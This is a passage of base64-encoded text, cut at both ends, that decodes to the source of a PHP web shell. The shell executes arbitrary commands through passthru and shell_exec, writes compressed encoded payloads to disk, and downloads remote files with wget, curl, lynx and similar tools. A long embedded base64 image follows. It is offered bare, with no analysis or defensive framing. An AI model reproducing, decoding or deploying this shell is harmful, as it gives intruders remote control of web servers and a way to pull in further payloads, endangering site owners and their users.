pe0BvYl9zdGFydCgpO0BwYXNzdGhydSgkY21kKTskYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7cmV0dXJuICRidWZmO30gDQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpeyRidWZmID0gQHNoZWxsX2V4ZWMoJGNtZCk7cmV0dXJuICRidWZmO319IGZ1bmN0aW9uIHR1bGlzKCRmaWxlLCR0ZXh0KXskdGV4dHogPSBnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkdGV4dCkpO2lmKCRmaWxleiA9IEBmb3BlbigkZmlsZSwidyIpKSB7QGZwdXRzKCRmaWxleiwkdGV4dHopO0BmY2xvc2UoJGZpbGUpO319IA0KZnVuY3Rpb24gYW1iaWwoJGxpbmssJGZpbGUpIHtpZigkZnAgPSBAZm9wZW4oJGxpbmssInIiKSl7d2hpbGUoIWZlb2YoJGZwKSl7JGNvbnQuPSBAZnJlYWQoJGZwLDEwMjQpO31AZmNsb3NlKCRmcCk7JGZwMiA9IEBmb3BlbigkZmlsZSwidyIpO0Bmd3JpdGUoJGZwMiwkY29udCk7QGZjbG9zZSgkZnAyKTt9IH0gDQpmdW5jdGlvbiB3aGljaCgkcHIpeyRwYXRoID0gZXhlKCJ3aGljaCAkcHIiKTsNCmlmKCFlbXB0eSgkcGF0aCkpIHtyZXR1cm4gdHJpbSgkcGF0aCk7fQ0KZWxzZSB7cmV0dXJuIHRyaW0oJHByKTt9fQ0KZnVuY3Rpb24gZG93bmxvYWQoJGNtZCwkdXJsKXskbmFtYWZpbGUgPSBiYXNlbmFtZSgkdXJsKTsNCnN3aXRjaCgkY21kKXtjYXNlICd3d2dldCc6IGV4ZSh3aGljaCgnd2dldCcpLiIgIi4kdXJsLiIgLU8gIi4kbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dseW54JzogZXhlKHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJHVybC4iID4gIi4kbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dmcmVhZCcgOiBhbWJpbCgkd3VybCwkbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dmZXRjaCcgOiBleGUod2hpY2goJ2ZldGNoJykuIiAtbyAiLiRuYW1hZmlsZS4iIC1wICIuJHVybCk7YnJlYWs7Y2FzZSAnd2xpbmtzJyA6IGV4ZSh3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7Y2FzZSAnd2dldCcgOiBleGUod2hpY2goJ0dFVCcpLiIgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7Y2FzZSAnd2N1cmwnIDogZXhlKHdoaWNoKCdjdXJsJykuIiAiLiR1cmwuIiAtbyAiLiRuYW1hZmlsZSk7YnJlYWs7ZGVmYXVsdDogYnJlYWs7fQ0KcmV0dXJuICRuYW1hZmlsZTt9ZnVuY3Rpb24gZ2V0X3Blcm1zKCRmaWxlKSB7aWYoJG1vZGU9QGZpbGVwZXJtcygkZmlsZSkpeyRwZXJtcz0nJzskcGVybXMgLj0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzskcGVybXMgLj0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzskcGVybXMgLj0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCnJldHVybiAkcGVybXM7fWVsc2UgcmV0dXJuICI/Pz8/Pz8/Pz8/Ijt9ZnVuY3Rpb24gY2xlYXJzcGFjZSgkdGV4dCl7cmV0dXJuIHN0cl9yZXBsYWNlKCIgIiwiXyIsJHRleHQpO30NCiR0dW5pc2lhID0gJ2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvL2dBN1ExSkZRVlJQVWpvZ1oyUXRhbkJsWnlCMk1TNHdJQ2gxYzJsdVp5QkpTa2NnU2xCRlJ5QjJOaklwTENCeGRXRnNhWFI1SUQwZ09UQUsvOXNBUXdBREFnSURBZ0lEQXdNREJBTURCQVVJQlFVRUJBVUtCd2NHQ0F3S0RBd0xDZ3NMRFE0U0VBME9FUTRMQ3hBV0VCRVRGQlVWRlF3UEZ4Z1dGQmdTRkJVVS85c0FRd0VEQkFRRkJBVUpCUVVKRkEwTERSUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVLzhBQUVRZ0E5UUlJQXdFaUFBSVJBUU1SQWYvRUFCOEFBQUVGQVFFQkFRRUJBQUFBQUFBQUFBQUJBZ01FQlFZSENBa0tDLy9FQUxVUUFBSUJBd01DQkFNRkJRUUVBQUFCZlFFQ0F3QUVFUVVTSVRGQkJoTlJZUWNpY1JReWdaR2hDQ05Dc2NFVlV0SHdKRE5pY29JSkNoWVhHQmthSlNZbktDa3FORFUyTnpnNU9rTkVSVVpIU0VsS1UxUlZWbGRZV1ZwalpHVm1aMmhwYW5OMGRYWjNlSGw2ZzRTRmhvZUlpWXFTazVTVmxwZVltWnFpbzZTbHBxZW9xYXF5czdTMXRyZTR1YnJDdzhURnhzZkl5Y3JTMDlUVjF0ZlkyZHJoNHVQazVlYm42T25xOGZMejlQWDI5L2o1K3YvRUFCOEJBQU1CQVFFQkFRRUJBUUVBQUFBQUFBQUJBZ01FQlFZSENBa0tDLy9FQUxVUkFBSUJBZ1FFQXdRSEJRUUVBQUVDZHdBQkFnTVJCQVVoTVFZU1FWRUhZWEVUSWpLQkNCUkNrYUd4d1Frak0xTHdGV0p5MFFvV0pEVGhKZkVYR0JrYUppY29LU28xTmpjNE9UcERSRVZHUjBoSlNsTlVWVlpYV0ZsYVkyUmxabWRvYVdwemRIVjJkM2g1ZW9LRGhJV0doNGlKaXBLVGxKV1dsNWlabXFLanBLV21wNmlwcXJLenRMVzJ0N2k1dXNMRHhNWEd4OGpKeXRMVDFOWFcxOWpaMnVMajVPWG01K2pwNnZMejlQWDI5L2o1K3YvYUFBd0RBUUFDRVFNUkFEOEErVnBGQnJNMUNBajVoV214cGtrWWRDRFh4U2RqL1FPdlNWYUxpVjlPdVBNVGFUeUtXL3N4Tkdhb3NyV2srUndNMXJ3eUNhTUdtOUhkSE5RYXIwM1FxYm80MitzdHJIaXM0cHRPQ0s3UFVMSU9wd0s1cTh0U2hQRmRkT2R6NGpNc3ZkQ1YwaW1pQTA4UkE5cWF1WXppcDRqbXRUeDZjVTlHSUljakdLUTIrMDFjaVVHcHZLQkZaODFqMFk0WlRXaG5DTWlwRlhGV210OGRLYjVXS2ZNQ29PTElsV3BGSFNuQ09wRlRGVGMzalRZS09La0E0cEF0U0JhaHM3b1JGVVZLQmltcXRTQmFsbmJDSTVhY0Rpays3VEdrQzFKMFg1ZHlVdmdVaHVGRlZYbE5STVNhYWlZeXhMV3hkT29CT2dxSjlUWTlxamdzWnJnL0t2SHFhdlE2Qm5tUjhmU2g4cTNLZ3NaWCtCYUdZK29zYWlONlQxcm9rOFAydzZrbXBCb0ZvUDREUzlwQkduOWxZNmVya3Z2T1grMVo3MG91QWE2ZzZEWi84ODZZMmhXWS9oL1duN1dKTHlmR0xlU09jRW9QZWxEZTliYjZSWXhubkkvR3E3MjFqR2VDZnpwODZaenl3RmFuOGNvL2VaMmMwMTR3YXVPdG4yY2lvbldBL2RrL09xdWMwNk50RzAvbVowOFZRMnN2bFM0UFN0QjR3UWNNRFZDYUlnOU9hMFR2b2VSV3B1bkpUaWFUU0Fya0dzMjV2dGhJcGd1V1FiVFZaMTgxaVRUakcyNWhpTVZLY1VvYml0Zk0zU29tbmtiT00xUEhDbzZpcEFpZ2RLMDBSNTNKVW5yS1JtUEE4eDV6VDQ3QUtlUldqa0QwRkl6Z1UrWm1Td2xOUG1rN2xYeU52dFRUQnU0SFdwMllFMVBiUUJtQnBYc1hHaEdvK1dJdW42WHVZRWl1a3Q3WVJSWUFxS3lnQVVWZUs0VVZ4em01TSs2eS9CUW9RdWtWaUtobmp5S3NrVkhJT0tsTTY2a0xxeGp6eDRKcDFqeEtLbXVJODVwbG9QM29yZStoNEhzK1dzanFiQTVpRldKT2xRMlM0aVdwSk90Y1QzUDBlbHBTUXlrYmdacHdHYWpuNFEwRVMwaTJRUnJ1bE5Hb3Y4aW9LbHRrNXpWYThPNmNWUzNPS2E1YUw4elAxQ2I3UGJISFU4VmJIN2pSaDY3YzFqNnZKNWwxREVPbTZ0clVsMjZaZ2RsclZyUmVaNGxHbzVUcnlYMlkyT0F1U1dtY251YXJ1dVJWaWNmTVQ3MUNSa1Y2U1B5ZXFyeWR5QWNWWmk1R2FnQ2M0cXhHS2JNS1MxTEVDNUlGZERwY1B6Q3NXelRMQ3VxMHFEQ2c0cmtxdXlQdDhtb09jMHpYdDAyb0tmSTIxYWNvd0FLaHVEaFRYQjFQMDkrNUF6cnVUazBWQmNuazBWdXRqNVd0TnViTmh1dFBUbW1OMXB5R3NUNmVMOTRodkxiekV6am1xbGpPWVpmTFk0RmEyQXd4V1hmMnhSdDZqa1ZVWGZSbkxpYWJweVZlbjBORjFEcldIcU5ua0VnVnFXTjBKa3dlb3AxMUQ1aW5paE54WVlpbkRGMGJvNG00aTJ0VWNiWU5hdW9XdTFqeFdWS2hSdlN1Nkx1ajgxeEZGMEpzdXd2MHE5RnlLeW9YeGl0RzNmaXM1STlIQzFFeXlZd2FZMFB0VThmelUvWURXVnoydlpxU3VWUEt4MnBSSHgwcXhzbzJVN2sreHNRS2xTS3RQMlV1TVVybWloWVFERkJiRk5ac1ZFejVvc0tVMUhZZThsUWx5YUFyT2NDcnRycGpTY3NNQ25kTGN6akNwWGRvSXFSUVBPd0Nqcld0YTZZa1EzU2ZNM3BWbUtCTGRjS09mV2huckp5YjJQY29ZS0ZCYzFUVmp2TVZCZ0RGTEd4YzFDcU5LMkIwcTJpQ05jRHJXYlBUcDgwM2ZvU0x3S1JwUUtqa2wyRGsxajZqcktRZ2hUelFvdVQwSGlNWFR3MEx6ZGpSdWRRU0VaTFZoWHZpTEdRbFlWOXFqU3NmbU5aN1N0STFkc0tQYy9QTWZ4RE9iY2FPaHF6NnhKS1Q4MktxbStkajFOVmxpSjYwOWsyajNyZFJpajVxV0pyMWZla3laYmhpZnZWS2tySHZXZnVJTlRSTzNyVHNSVHJ0dXpMdm10NjA0VEdraVhjS2MwZUt6MFBVWFBhNll4Z3JqcHpVVFJZNkduTXZYdFNESTYwMFlTMTNSSHRaVFRXWnMxWVVnaWxLRHJpbmNqMmQ5bVZmbU5KZ21ySlVVb2pGRnlQWk45U29SaXJ0aEtOd0ZOTUdlMVJoVEMrYUhaNkZVNHlvelV1aDFsb01vS3NPZUtvNlRONWtZcXhLL0pGY0RXcCtpMGFrWFJVbDFIOWFoY1VxdGs5YUhwaEpwb3BYQXdEVVZsSG1iOGFudUJUYklmdlJtdGVoNURnblhSMHRxdUVBOXFXUWNtaTJQeUFVUHlhNU9wOTJ2NGFHanBVTndhbXFDWWZOVkk1NnZ3a2tBd2hxak56S3hxK25FUnFoSi9FYWFPYkVhUWlqQWtVemFxbnNhNkxVRTNXRER2aXNTQ0luVWczdlcvZGdHMGI2VnJONm84TEw2ZDZWZHZyYzg3dVVJZHZyVVJYNWF1M3EvdkgrdFY5dUZydlQwUHpPclR0Tm9yRmNHcG9WcGg2MWJzb2pJNEFGVkoyUmhScDgwK1ZHanBsdVhZY1YxMWxEdFFjWXJNMDIxV05WSndEVzNDUXc0NlY1dFNWMmZyT1VZUlVZSnZjZmlvYmhjcWFzZ1V5Uk1pc1Q2YWNPYU5qQXVWb3F6ZXc3U2FLM1QwUGtLOUpxYlJmYnJRcDVwemQ2WURXSjlLOUdUSWFXV01TSVJVYUhGVEszRkk2STJrck14am16dU0vd2sxcUk0bGp5S2p2cllTb2VPYXAyTTVpZnkzL0NyM1Z6elkzdzFYMmIrRmlYOXFHQk9LNTI3dDlwTmRsTEdIVTFoNmphWnpnVnBUbDBQSXpUQktTNTRvNThIYWF1VzhtTVZYbWoyTWFJbTJtdXA2bytPcHQwNTJadHdQa1ZaVVpGWnRySmtpdFNFNUZjMHRENjNDejlvaHBGR0tsWmMxR1JnMUZ6dGNiRFNLWTFTRVpwTnVhZHpLVWV4WFpTVFNyRnZZQURtcDltS3VXVnVNN2lLSEt3cVdIZFNYS090TEJZZ0dZWk5XandLZWFZMVl0M1BvNFVvMG84c1VNYzRwZ1hlY0NsZmo2MUxGSHRIUFdtUW91Y3JEa1VJdkZObGtDTGs4VVNTQkFhd2RYMVlScVZVODA0eGNtWll2RlF3bE55a3htcmF4c3lvTmN2ZDN6U01lYVplWGhsYzVQTlZFUnBHeWE5S0ZOUlIrUTVqbWRURjFHa3g2N3BUVnFLRUFVa1VlMGRLOU8rRy93RThXZkVrSlBaMllzZE1KNTFDOHlrWkgreU9yL2dNZTlYckoyaWp5NVZLR0RwdXRpWnFLN3M4NHh0UEZJSUpiaHdrVWJTeUhvcUFrbjhLKzFmQi83SlBoTHc0c1Urc1NUYS9kcnl3bFBsd1o5a1hrL2lUWHBsdG9PbGFCYkMzMHZUN1hUNFFNQkxhRll4K2dycmhoSnZXVHNmSDQzakxDVTd3dzBIUHorRmZxL3dSOEM2UDhIZkd1dXFyV25ocS8yTjBlZUx5VlA0dmdWM3VnZnNsK09OVWFQN1IvWjJtcWV2Mmk1M0VmOEFmQWIrZGZYWjYxYXM1dGpBWnJvV0ZoMVo4dlU0dnhyZjdxRVkvSnQvbitoNEhvMzdDMnJYS2czUGlxeGl6Mmh0bmY4QW1WcTNxWDdBL2lCSVMybitLTk11bi91M0VNa1g2amRYMDlvbW9iU0FUeFhYV2wwR1FEZHpWZlZLWFl5anhqbkVYL0VWdTNMSC9JL1BUeFIreDc4Uy9EcVBKSHBNR3J3cnlYMDY1VnorQ3R0WS9nSzhrMTd3dnEzaG02TnRxK21YZWwzQS93Q1dWNUEwVEg4R0FyOWVOaXl4NDcxamEzNGZzdFh0WHR0UXNvTCsxY1lhQzVpV1JHK29JeFdNc0hIN0xQYXczSFdKaTdZcWxHUzhycC9xdnlQeUtLWTlxZUZKR0RYMy93Q1BmMk5mQlhpcEpKOUpXWHcxZk1jZzJuendaOTR6MEgrNlJYeXI4VmYyY2ZHSHdyZVM0dTdUKzB0SFU4YWxZZ3ZHQi90anFuNDhlNXJpcVVLbFBkYUgzK1djUlpkbVRVS2MrV2IrekxSL0xvL2s3K1I1VTBWV2JPMkV6WXpVT0RTeHV5TmtjRWQ2NW5zZlhVK1NNMDVMUTJQN0ovZDVBck11N2Jabml0R3oxd3FtMlVaOTZyM3N5ejVaVGtWakhtVDFQWnhFY0xVcEtWSjY5aGRFWTVJN1ZvUzhNYW9hU01NVFdoS010VXkrSTY4R245V1NFV2grOUNpbVRuYURVZFRyYjVZM0swclpHTzlTV1NFeUNxNStacXYyYWJTS3Q2STRxSzU2cVp0MncrVVVQMXBMZjd0RWd3VFhOMVB0VjhDQ29KT1dxVUdtT01uTk5HRTlVUDZSVlMyNXpWMC82bzFWVVpOTkdOWlhhUlFpdHl0MXVyU3VSL29qZlNrTVlEWnAxM3hhdDlLYmQyam1wMFZTcHpzY0xkcjg3L1dxY3JZRlg3bm56RDcxbHpISk5lbkUvSk1XK1Z0akYrWjYyckZWaFVNZXRaTnZHV2JOYXNLbGlBS0o5Z3dFZVY4OXRUVGh1SkpYQ0xYU1drZjJlQUZ6emp2V2ZvZGdFWHpHSE5TYXZlK1dOb09LOCtYdlBsUituWU9Md3RCNG1zOVhzV0cxRkErQWMxYWhsRXk4Y2l1UkV4TFp6VzFwVnpuNVNhVW9XUnJoTXlkYXB5eUxsNUR1VTBWWWxHNWFLaE94NkZiRHFjcmtUQ21zT0tsYW8zK1VVSTFtdW8wTmlucElLclNQZzAxV0pOT3h6S3J5dXhvQTdsck52cmNxMjllb3EvQjBGSmNKbGVsSk96T2l0VFZhbmRrRmxjK2F1MDlSUmQyNGtVMVNjR0NRT240aXRLR1VUeFpwdlRWSEpTbjdXTHBUM1J6Ti9hYlNhelNwVTExVi9hN2dlSzU2NnR5am5pdXFuSzZQanN4d2pwVDVraGJaeUdGYlZxMjVSWFB4WkRWczJVbUFLVlJHdVgxTE96Tklya1ZHeTFNdkl6VFN0Y3g5UTQzSUF0UENlMVAyVTREaW5jaFFJZ21TT0swTGRjQVZVVmVhdVJIZ1ZMTzNEUnRLNUl3elVibmFwSnFZOUtxT1RMSnRIM1IxcVR0cVBsV200c1NsanZQNENwbmNLS1FEQXJQMUc3RUtubW1sZG5QVXFMRDArWmxiVmRSRVNFQTF4OS9lR1JtT2MxYTFPK01qbm1za2d5TlhvMG9jcXV6OG96Zk1aWW1vNHhlZ3hVTWpaeFczNGQ4T2FoNGoxTzMwM1M3U1M5dnAyMnh3eExray93QkI2azhDdFg0ZS9EM1Z2aUo0Z2cwZlI0UE5uaytaNUc0U0ZPN3Vld0g2OUJYM3I4SnZnem8zd20wanlMT1A3UnFNd0gybS9rSHp5bjBIOTFmUWZubXUyblNkVitSK2Y1cG05REpvV2Z2VlhzdjFmbCtaNTM4SC93QmxYU2ZDY2NPcCtLRmkxblZ4aDF0U04xdEFmb2Z2bjNQSHQzcjNzSXNTS3FBS29HRkNqQUE5S2xJd1R4eFZlZVh5eDF4WHF3aEdtclJSK080M0g0ak1LbnRjUks3L0FBWG91aERjdHRCejNySHZKQjA3MVl2dFVpanlDd3pYSCtKL0hHaitHNERjYXBxTnZZd25vMDBnVXQ3QWRUOUJWdDIxWnd4aktiVVlxN1p0cysyaU9VWjY4MTRMNGkvYXU4T2FlelI2WmFYZXJPRHcrQkRHZnhibi93QWRyaHIvQVBhNDE2YVFteTBmVDdaZjRmTlo1Q1BxUVFQMHJGMTZhNm4wRkRoL01hNnVxZGw1dEw4Ti93QUQ3TDA2OTJsZWNZNjExbW1hb3U0WlA0MStmQS9hdThjQjl5alRVeDJGc2Y4QTRxdG5UUDJ4dkd0bXdNMXBwVnl2b1lYWCtUMW45YXBub0xoVE1XdE9YNy8rQWZvM3AxMnN3QXpWK1dJTXZybXZpUHdmKzNoREJKR211ZUdwSWs2TkxZVGgvd0R4eGdQL0FFS3ZvNzRjL3RHK0IvaVEwZHZwbXR3cGZQd0xLOC9jekUrZ0RmZVArNlRXc2ExT2VpWjVXS3lQTWNFbkt0UmR1NjFYM3E5dm1kL0xGc09EVlY0a3VWWkhBZENDcklSa0VlNHE5TzZTRW52VktRYlEyMDdUMXJZOEkrYi9BSTFmc2ZhVDR1V2ZWZkNDdzZMclJ5N1dXTnRyY0gySC9MTnZwOHZzT3RmRnZpRHc1cVhoVFY3blM5WHNwdFAxQzNiYkxCTXVHVS8xQjdFY0h0WDZ2TE5qQXp6NjE1NThhZmdob254bDBVeFhRV3oxcUJTTFBVa1g1a1A5MXY3eUU5dTNVVjU5ZkNxWHZRM1AwcklPTHF1RGxIRDQ5dVZQdnU0LzVyOFYwN0g1b053ZUtOK09sZEI0NDhFYXQ4UHZFZDNvbXRXcHRyNjNiNnJJdloxUGRUMk5jNjQ5SzhpMXRHZnRzYWtha0ZVcHU4WHFtdXhlc2IxSUd3MzUxcHJNazNLc0RYTmZkTlBqbmFOc3FTS2lVTDZubzRmTUpVbHlTVjBkTUJnWnFuY3lkcXF4YW8yM2EzUHZTaGpLM0JyTlJhM1BVbmlvVlkycGtzS2JqbXRLMlhHS3IyOFBITlg0bzlvck9UUFF3bEpyVXRSTmpGVE9Od3pWZE0xT2g0d2F5WjlMVGQxWmtSNG9xUjA3aW9zNDYwSWlTNVhxUEF5aHFGVndhbVRyUytXYzBYRzQ4eVRJaU9RS2p2MkNXcm4ycXdWK2VzM1hwL0t0U1BXbkhWcEhMaVpLbFJuSjlqa3Jwc1JPZlUxbWZlUEhOWDc5OXNhTDY4MVh0NHR4Qk5lbkhSWFB4ekVwMUtxaWlhM2kyZ2NjbXRyVHJRc3k4Y21xVnJEdmNWMHVtVytEbkhTc0trdEQ2YktzR3B6UnBSSUlvUUI2VnpXcXVXdUdCcnFKZmxqcmt0VWI5K2E1Nlc1OVRuTDVLRVlvcWcxZjAyZmJLQm5pczFHeWFzVzBtMlVkcTZKTFErVXcxVGtxS1NPeFE3b3hSVWRrMitCZnBSWENmcGNQZmlwRHp4VU1yREdLYzhneFZhUjgxUnkxYWlTc1JzY21uSXZOTkgxcHc2MVJ3TGU1ZGc0V3BaRjNDb0lHNEFxeU9SV2JQWnBXY2JHWmN4N0NUamlxOE1wdHBRUnloclF1MUJVMWxid0dLTjBQU3RGcWp4TVN2WlZFMW9hN0FUUjVIZXNlL3RNNU9LdFdWd1kyOHRqeDJxM2N3aVJEM29YdXMwcXdqaktWK3B5THFVYXJsbkpnaW5YOW9VT2NWWGdPMXE2Yjh5UGtGQ1dIcldaME1EQmxGU2xjMVJzcGVnclFISXJtZWg5alJrcWtFeHV5bDI4VTREaWt4U09qbEc0NXF4R0toQTVxVGVJMEpOSm1sT3kxWXR4TnRBUmZ2R2lOQWkrOU1nUXV4ZHVwNlUrYVFScVNUaWw1R3FkNzFKRWR6T0kwSk5jbnE5K1hjZ0dyMnJhbG5LcWE1dVpqSXg1cnJwUTZzK0R6ck1lZjkxVFpYWW1Salc5NE84SGFsNDAxK3owZlNyYzNOOWRQdFJSMEE3c1QyQUhKTlprRUc0OU0xK2dIN0wzd05qK0hIaGFQV2RVdHgvd2tXcHhoNUE0NXRvanlzWTlEMExlL0hhdlFwUWRXWEt0ajh3emZNSVpSaFhYbnJONlJYZC81THI5M1U2VDRUZkNQVFBoSjRYajA2elVUWGN1Skx5OFpmbm5reCtpam9CMitwSlBZM1VpcW00bkdLdGFucUVkdXB6amp0WEM2NXJyeUZnalk5cTlxTVZGV1IrQ1Y2OVRFMUpWcXJ2SjZ0bWxxT3Z4V3dJREFtdUsxN3gybGpCTE5OS2tFTVlMUEpJd1ZWSHFTYTV2eDk0NDAvd0FEYVEybzZ2TVZMNUVOdW5Nc3plaWorWjZDdmtiNGdmRVRXZmlKZU0xM0liYlQxYk1WakVUc1gwTGYzajduOE1WalZyUnA2ZFQzY3B5TEU1cSthS3REdi9sM1BTZmlUKzFGUExMTForR0FDUVNwMUNWY2ovZ0NuK1ovS3ZCTlYxcS8xNjlrdk5RdTVyMjZjL05MTTVaaitmYjJxUVdRWHRSOW5BN1Y1czZ6bnVmcTJDeVNuZ0kycFJzKy9WL1Ara1VrSko1cVZldFdCYmcvV3ZZZmhsK3k1NHA4Znd4WHR5cTZEcEw4cmNYYWt5U0QxU1BxZnFjRDB6VXhUbTdSUjFZaXBTd01QYVlpYWl2UDlPL3lQR3gxcWUzaGtuY0pGRzhqbmdLaWtrMTkwK0V2MlQvQkhoMkZQdGRuSnJsMEJ6TmZPZHVmWkZ3TWZYUDFyMGZTL0JHbWVIb0JIcG1tMnRpZ1AzYmVGVS9rSzZWaFpQNG5ZK1RyOFg0YWs3VUtibDY2TDlYK0IrZDF0NEg4U1hNZm1SZUg5VGtqL3ZMWnlFZnlwSi9EMnM2WU4xMXBkOWE0UDNwYmQweCtZcjlLRXRtVVZPaWtaQkFLL3dBNnA0TlA3UnpVK09hc0hkMEZiL0UvOGo0NCtFUDdXM2luNGV2RFlheEpKNGkwTmNLWXJsOHp3ai9Za1BQSDkxc2oweFgycDRIK0pXaC9FelJFMVhRcjFicUE4U1JuaVNGdjdycjFCL1E5czF5bmlMNFQrRVBHMGJMcTNoK3luZHYrVzhjZmxTajMzcmcvclhrMTMremg0aitGV3VEeEo4TDlhYVdWUDlacEdvTVAzNmRTbTdoV0I5R0FJN05tcmpHclIvdkw4VHpzWmlNbnp5OG9MNnZXOC9nbDZ0YmV0bDUzUHFSM3gwb1dZNTVPTVZ3bnczK0pNUGo3VDVUTGF5NlZyZG1SRnFHazNRS3kyei9ROVZQSkRkNjdYemdlTnVSWGFtcEs2UGg2MUdwaDZqcFZWWnIrdjZaNTc4ZWZnNVlmR1R3czBXMUxmWDdRRjdDOFBHRDNqWS8zRy9RNFBxRCtkZXNhVGQ2RnFkMXA5L2J2Ylh0dEkwVTBNZ3d5TURnaXYxWFdRRWNIcFh6QisyTjhIazFMVGg0NDBtQUM3dFZDYWxHZzVraTZMTDlWNkgyeDZWNStLbzh5OXBIYy9SK0VNK2VHcUxMc1EvY2w4UGsrM28vejlXZkc3TG50U0JmeHFUT2FRWUJyeWo5b2NVSWdJUE5UeHV5bkk0cHFybXBrd0I2MUxaMDA0dEdoWTM0QkN5Y2U5YkNFT29LbklybWdLdVdsMUpiSEdkeStsYzhvOVVmUzRUR09IdVZOVjNONUJVaThHcTl0ZEpPT0RnK2xXbEZZTStycE5UU2NYb1NLY2pCcHJSQTBxMCtvTzFSVWxxUnJIaWxkOWdwWGNLS3JrbHpUTTVOUTBqdUt2ZGpYTmE1UDlvdUJHRHdLM05SdTF0b1NBZm1OY3BlU21PTnBEOTkrbGRGS090ejVQT3NRbzAvWXArYk15N1Btem5IUWNWUEJGdEE5YWdnakx2azFwVzhXNXdCWFkzYlErQnc5TjFadWI2bDNUNE1BRWl1aHNZOEp4V1pER0kxRmE5bjl3VnhUZHo5SHkyaXFiU0hYVFlpYXVSMURtUmpYV1h4eEUzMHJrcjAvT2VhZExjNWM4ZWlSVFE0TlRLY09EVmNrZzFLcHlNMTF0SHhrSkhXNlRPSGdBOUtLeXRHdTlqWUpvcmhuR3pQMGZBWXVNNkViczBEUG5OTTM1Tk14UlRzY1RuSjdqOS9GS0dCcHFSdTU0VTFiaHNUd1dwUFExcHduVWZ1b2t0d2NWYkF3T2FZcXJFdldxMXhmS29QTlJ2c2V3cFJvUTk1aVhjZ0FOWWx5ZWNpckZ4ZWIraHFvVHZITmJSVmo1akdWMVdkb2xpR1R6by9SeFduWlhQbXJzYjd3ckZpQmpZRVZjREZDSlYvR2lTS3d0ZVVOZnZMbDdiYnh3S3c1b1RHNUdLNlNKeFBFRFZLN3M5eEpBcVl5dG96cXh1RlZXUHRJR2ZheUZUeld2QklHV3NqeWpHMVc3ZVVxUlZTVjlUbHdsUjAzeXlOTVlvSzAyTnd3cVNzajZDTnBJaVBIMHBpZjZUSi9zTFNTdDVzZ2pYOFRWcEZFS1lIRkd4bkZjOHJkRURNSTFyRTFYVVFBVkI1cWJVOVNFYWtBODF6Yzh6U3VTVFcxT0Y5V2VCbW1ZcUM5bFRaRGNTbHo2MDJLTGNjNHA2UjU3VmJpaXdNNHJxYnNmRndwT3JMbWtlMi9za2ZDZFBpRDhSRjFDOWlENlRvWVc2bFZobFpKYy91a1A0Z3NmWk1kNis4Tlh2bHNsS3FNc1JYblg3T1hncUw0WS9CelN4TEVxYW5xaS9iN25JK2JMZ0ZGUDBUYU1ldWEzOVJ1bnVaQ2NuSjdWN21HcDhsTmQyZnp6eFBtWDlvNWpQbGZ1UTkyUHkzZnpmNFdNalY3MlNlVXJra211UzhiYS9wL2dQdzFkYTdxNVBrd2pFY0lQelRTSDdxTDduOUJrOXE5QTAvU1BPa0R1T1BldmlUOXBENG5uNGhlTjVMT3lsSjBMU21hM3RsQitXVndjUEwrSkdCN0FlcHFxOVgyVWI5VExoL0o1WnppMVNmd1Ixay9MdDZ2L05ubmZqWHhocVhqL1g1OVcxT1RNajhSUXI5eUZPeUtPd0g2OVRXSUlxc0NMSTZWSkhDYzlLOEJ5YmQyZjBoaDhGQ2pDTktsRzBWb2l2SGFsemdDdnBiOW1YOWlEWGYyaExPNDFpYThHZ2VHNFdNUXY1WVRJOXhJT3F4SmtaQTdzVGdIams1eHhmN09md1N2ZmpuOFROTThOV3hlRzJjK2RmWGFybjdQYnI5OXZxZUZIdXdyOXEvQ0hoUFRQQnZodlR0RDBpMFN5MHl3aFdDM2dqSENxQng5VDNKNmtrazhtdXJEVWZiUG1sOEsvRStRNHN6eFpGU2poc05aMTVxOTNyeXg3MmVsMzB2MDE3SHdIcG43RW5oZjRNNm9sNUlKL0VHb1JuZEZjWHlyNWNaSGRZeHhuM09jZHE3VzNpUG1iV1hGZldYam53bkZyZGpJTmdNZ0hCeFh6dHJuaDJUVExwNHlNRlRYdFJoR0N0Rkg0SGlzWmlNZFU5cmladVQ4L3dCT2krUmxRMmF5WUFBeWVCV2ZvMS9ZZUl0T1MrMDJkTHUyZG1UZW5abFlxeW4wSUlJeFd4WU1ZcEJ2NmcxOFgvQW40M2Y4SzErS211YURxOCtQRFdwYWxNck8vd0IyMW04d2dTZXluZ043WVBhczZsVlU1UlQyWjZtVzVSVXpPaFhuUjFuVFNkdTYxdjhBUFRUN2o2K2swNW5BS3JpcTdXWlg3dzVycjN0azJncmc4WkdLclM2YXNpazlhM1Buem00b0dSczVxeENEenpWdWUwTVI2Y1ZFRXdQZWdESjFIdzVhWG1xVzJxeHFMZlZMY2JFdW94aG1ROVkzL3ZJZlE5RHlNRVpyYlVra2JlQjNGS0lRY0grVk9FUEhUUHZTdFl1VTVTU1Vuc0lRRkdGd0NldFZMeTBpMUMxbnRicUpacmVaR2psamtHVmRTTUVFZWhCcTI4UnpudlRRUE1YQlBJcGtwdE82UHpRK01IZ0NYNFovRUhWZERZTTFxaitiYXlOL0hBM0tIU